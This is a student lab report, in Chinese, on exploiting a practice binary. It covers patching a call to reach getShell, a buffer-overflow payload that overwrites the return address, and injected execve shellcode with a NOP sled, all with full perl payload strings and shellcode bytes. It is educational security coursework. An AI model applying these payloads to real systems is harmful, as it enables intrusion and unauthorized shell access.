20174304王天政《网络对抗技术》Exp1 PC平台逆向破解
一、实验要求
1.1 实验目标
本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- 掌握反汇编与十六进制编程器
- 正确修改机器指令改变程序执行流程
- 正确构造payload进行bof攻击
1.2 实验内容
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
1.3 基础知识
- 熟悉Linux基本操作,能看懂常用指令:如管道(|),输入、输出重定向(>)等。
- 理解Bof的原理,能看得懂汇编、机器指令、EIP、指令地址。
- 会使用gdb、vi。
- 指令、参数。
1.4 实验准备
打开终端模拟器,以如下代码分别安装GDB、execstack、net-tools
apt-get install gdb
apt-get install execstack
apt-get install net-tools
二、实验步骤
2.1直接修改程序机器指令,改变程序执行流程
-
知识要求: Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
- 学习目标:理解可执行文件与机器指令
- 进阶:掌握ELF文件格式,掌握动态技术
下载pwn1,拖至虚拟机
为防止发生错误,我们先用指令cp pwn1 pwn2将文件pwn1进行复制保存为pwn2。
输入命令objdump -d pwn1 | more对pwn1文件进行反汇编,并找到所需的getShall、foo、main函数位置。
我们可以找到main函数中执行跳转foo的语句call 8048491 <foo>,对应机器指令为e8 d7 ff ff ff。8048491为
foo函数的首地址,e8为call指令的机器指令跳转,d7 ff ff ff为目的地址减去eip寄存器中地址的值,如果是负数要换算成补码,这里是8048491-80484ba的结果换算成的补码。
如今我们需要做的是改变程序执行流程,使跳转foo变为跳转getShell函数,getShall首地址为804847d,我们只需要将d7 ff ff ff改为804847d-80484ba的结果换算成的补码即可,经计算得ff ff ff c3,所以机器指令应修改为c3 ff ff ff。
此时我们使用vi命令打开pwn1
发现都是乱码,此时点击esc键,输入:%!xxd,将显示模式切换为16进制表示。
输入/e8 d7,查找到要修改内容所在位置,在4b0一行,光标选中d,键入r,表明修改,键入c,即可将d改为c,同理将7改为3。
修改完成后,点击esc键,输入:%!xxd -r,将16进制转换为原格式。
点击esc键,输入: wq存盘退出vi。
检验:对pwn1再一次进行反汇编,查看main中结果。
2.2通过构造输入参数,造成BOF攻击,改变程序执行流
-
知识要求:堆栈结构、返回地址
- 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
- 进阶:掌握ELF文件格式,掌握动态技术
为防止发生错误,用指令cp pwn2 pwn3将文件pwn2进行复制保存为pwn3。
输入命令objdump -d pwn2 | more对pwn2文件进行反汇编,并找到所需的getShall、foo、main函数位置。
注意getShell函数,我们的目标是触发这个函数。该可执行文件正常运行是调用函数foo,这个函数有Buffer overflow漏洞。call调用foo,同时在堆栈上压上返回地址值:80804ba(即call指令的下一条指令地址)。在foo函数中读入字符串时,系统只预留了0x1c字节(即28字节)的缓冲区,再加上%ebp占用的四个字节,共32个字节,超出部分会造成溢出,我们的目标是覆盖返回地址。
接下来我们需要确认结果,
用gdb来调试一下,输入gdb pwn2
,输入r运行。输入字符串1234567891011121314151617181920212223242共40位字节。
那么我们可以发现跳到eip寄存器中的值为1222,也即是第33到第36个字节,且输入的字节序应为小端优先。
也就是说,我们要达到目的就需要让getShell的地址去替换1222所在的位置上,由于getShell的起始地址是0804847d,且为小端序列,那么我们应该输入的字符串则是12345678910111213141516171819202\x7d\x84\x04\x08,\x为十六进制表示,但由于无法输入十六进制值,所以需要用perl生成一个含有上述字符串的文件,输入代码perl -e 'print "12345678910111213141516171819202\x7d\x84\x04\x08\x0a"' > input即可完成操作,其中\x0a表示回车。
随后我们使用十六进制查看指令xxd查看input文件的内容是否生成了\x7d\x84\x04\x08
确认后,通过管道符|
,将input
文件作为pwn2
的输入,使用ls
命令或pwd
命令进行调试,即可看到结果
2.3 注入Shellcode并执行
首先准备一段Shellcode,\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
然后修改一些设置(调出root可太难了,su root就是整不出来,试了各种办法,用了很久,最后sudo su root可以。。。)
(Linux下有两种基本构造攻击buf的方法:
●retaddr+ nop+ shellcode
●nop+shellcode+ retaddr。
因为retaddr在缓冲区的位置是固定的, shellcode要不在它前面,要不在它后面。
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
我们这个buf够放这个shellcode了
结构为: nops +shellcode+retaddr.
●nop-为是了填充,二是作为”着陆区/滑行区”。
●我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。)
接下来,用perl来准备我们要输入到pwn3里的十六进制数,指令为
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
上面最后的\x4\x3\x2\x1将覆盖到堆枝上的返回地址的位置。我们得把它改为这段shellcode的地址。(最后一个字符千万不能是\x0a。不然下面的操作就做不了了)
接下来我们来确定\x4\x3\x2\x1到底该填什么。打开一个终端注入这段攻击buf:(cat input_shellcode;cat) | ./pwn3
再开另外一个终端,用gdb来调试pwn1这个进程:
1.找到pwn1的进程号
进程号为:1760
2.启动gdb调试这个进程
3.通过设置断点,来查看注入buf的内存地址
发现断点在0x080484ae
输入break *0x080484ae设置断点,在另外一个终端按下回车,回到gdb终端,输入info r esp,查看栈顶指针
找到了01020304,位置是在0xffffd34c,那么shellcode就在高4个字节的地址,即0xffffd350,成功找到shellcode的起始地址后,将原文件中的数据进行修改为
\x50\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00
修改之后将其输入到pwn3中,可以看到注入shellcode结果是否成功。
三、实验总结
3.1 实验收获与感想
本次实验是网络对抗第一次实验,也是我第一次接触linux和kali,汇编语言和堆栈等一些知识通过之前其他学科就有所了解,但即便如此,也从未用终端做过实验,并且即使有实验指导书指导也不会做的很快很简单,因为其中有很多细节需要注意,比如一些不起眼的空格,还有一些字母拼写等,所以经常对比好多遍才按下回车,尝试按照记忆自己重做的时候也相当困难,指令总是不太能记住。在操作方面我遇到了两个问题,最大的困难是获取root权限,由于最开始安装的时候,没有按照学号要求命名,于是新开了个帐号,当需要获取root权限时,以为是帐号不对的原因,无论sudo加指令或者su root还是su wtz(之前的用户名)都没有成功,花费了很长时间,最后发现sudo su root才可以;另一个问题在最后的最后,输入ls后提示我段错误,重新做了三四遍第三部分也没有成功,最后重启了虚拟机再做才成功。
3.2 思考: 什么是漏洞?漏洞有什么危害?
漏洞就是存在于软硬件上的安全隐患,所谓的bug,可能来自于应用软件或操作系统设计时的缺陷或编码时产生的错误或不合理之处。
漏洞的危害,漏洞会被不法分子利用从而对电脑或平台以及其中信息的拥有者产生极为不利影响,如病毒入侵,用户数据丢失或被篡改,重要资料被窃取导致的隐私泄漏财产损失等。